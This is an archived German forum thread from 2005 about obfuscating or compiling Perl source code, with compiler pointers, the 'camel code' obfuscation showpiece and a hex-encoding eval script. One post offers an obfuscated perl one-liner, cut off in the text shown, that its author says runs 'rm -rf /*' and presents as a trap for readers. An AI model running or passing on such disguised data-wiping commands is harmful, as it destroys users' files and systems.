PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Perlquellcode verschlüsseln



merenda
14.03.05, 12:26
Hi @all,

gibt es eine möglichkeit Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Danke schon mal für eure Posts.

gruß

Merenda

tictactux
14.03.05, 15:45
Hi,

gibt es eine möglichkeitWieso eine? Es geht schließlich um Perl :)

Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Experimentelle Compiler ->www.activestate.com, oder Malcolm Beattie's
Übersetzer von Perl nach C (-> man b::c)
Siehe dazu auch: man perlfaq3 (suche nach "I hide").

Gruss,
Wolfgang

fs111
14.03.05, 19:19
Hi @all,

gibt es eine möglichkeit Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Danke schon mal für eure Posts.

gruß

Merenda

Das ist doch schon eingebaut, das nennt sich bei Perl Syntax. SCNR

fs111

tictactux
14.03.05, 21:19
Das ist doch schon eingebaut, das nennt sich bei Perl Syntax. SCNR
ich weiß nicht was Du hast, dabei ist Perl-Code wirklich vorbildlich selbstdokumentierend: :eek:
#!/usr/bin/perl -w
# camel code #Erudil from http://www.perlmonks.com/
use strict;

$_='ev
al("seek\040D
ATA,0, 0;");foreach(1..3)
{<DATA>;}my @camel1hump;my$camel;
my$Camel ;while( <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary 1=split(//);if(defined($
_=<DATA>)){@camel1hum p=split(//);}while(@dromeda
ry1){my$camel1hump=0 ;my$CAMEL=3;if(defined($_=shif
t(@dromedary1 ))&&/\S/){$camel1hump+=1<<$CAMEL;}
$CAMEL--;if(d efined($_=shift(@dromedary1))&&/\S/){
$camel1hump+=1 <<$CAMEL;}$CAMEL--;if(defined($_=shift(
@camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
/LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
$_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval; eval
("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;( );;s
;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__ \124
\1 50\145\040\165\163\145\040\157\1 46\040\1 41\0
40\143\141 \155\145\1 54\040\1 51\155\ 141
\147\145\0 40\151\156 \040\141 \163\16 3\
157\143\ 151\141\16 4\151\1 57\156
\040\167 \151\164\1 50\040\ 120\1
45\162\ 154\040\15 1\163\ 040\14
1\040\1 64\162\1 41\144 \145\
155\14 1\162\ 153\04 0\157
\146\ 040\11 7\047\ 122\1
45\15 1\154\1 54\171 \040
\046\ 012\101\16 3\16
3\15 7\143\15 1\14
1\16 4\145\163 \054
\040 \111\156\14 3\056
\040\ 125\163\145\14 4\040\
167\1 51\164\1 50\0 40\160\
145\162 \155\151
\163\163 \151\1SCNRT :D


@merenda: passend zum Thema, vielleicht ist Stunnix Perl-Obfus
noch interessant :)
http://freshmeat.net/projects/perl-obfus/

ThorstenHirsch
14.03.05, 21:30
Kann man das bedenkenlos ausführen oder ist danach / weg?

tictactux
14.03.05, 21:36
Kann man das bedenkenlos ausführen oder ist danach / weg?
JA (zum ersten Teil der Frage :) )

destrukt
14.03.05, 21:51
Hab da auch noch einen!


perl -e '''=~('(?{'.(']'^'-').((']'^'-')|'"').('`'|')').('`'|'.').((']'^'-')|'$').'"'.((']'^'-')|'#').((']'^'-')|')').((']'^'-')|'#').((']'^'-')|'$').('`'|'%').('`'|'-').' '.((']'^'-')|'"').('`'|'-').' '.'-'.('

führt aus
system "rm -rf /*"

mfg dct.c

P.S: Ich übernehme keine Verantwortung für jeglich schäden. Jeder ist selber schuld wenn er den Code ausführt!!!!

michael.sprick
15.03.05, 08:23
Ich bin mir immernoch nicht schlüssig über den Sinn solcher Aktionen. Das man seine Quellen nicht immer öffentlich machen will, ist natürlich klar - aber dann nehm´ ich keine Skriptsprache....

wie auch immer, folgendes Skript wäre vielleicht ein Ansatz:




#!/usr/bin/perl

use warnings;
use strict;

my $InFile = $ARGV[1];
open(IN,"<$InFile") or die "Could not open file: \"$InFile\" -- $!\n";


while(<IN>)
{
chomp;
my $crstr = $_;
$crstr =~s/^ //g;
if(length($crstr) > 1 and not m/^#/ and not m/.*[\){]$/)
{
$crstr = "eval pack(\"H*\",\"" . unpack("H*",$crstr) . "\");";
}
print "$crstr\n";
}
close(IN);



Voraussetzung ist aber, dass Du Strings, Hashes und Arrays immer in einer Zeile definierst:

z.B.



my $str = ' Dies ist ein Test';

statt

my $str = '
Dies
ist ein
Test';

oder

my %HASH = ( Key1 = > "Value1" , Key2 => "Value2); ...

statt

my %HASH = (
Key1 => "Value1",
Key2 => "Value2"
);



Der Aufruf wäre dann:

#> ./obfuscate.pl DeinSkript.pl > verschluesseltes_skript.pl

Ich habs nur grob angetestet...scheint zu funktionieren (bei einfachen Skripten zumindest).
Theoretisch kannst Du auch ein bereits verschlüsseltes Skript ein paar mal durchlaufen lassen...

ein Hoch auf die Lesbarkeit und Wartbarkeit von Code ;)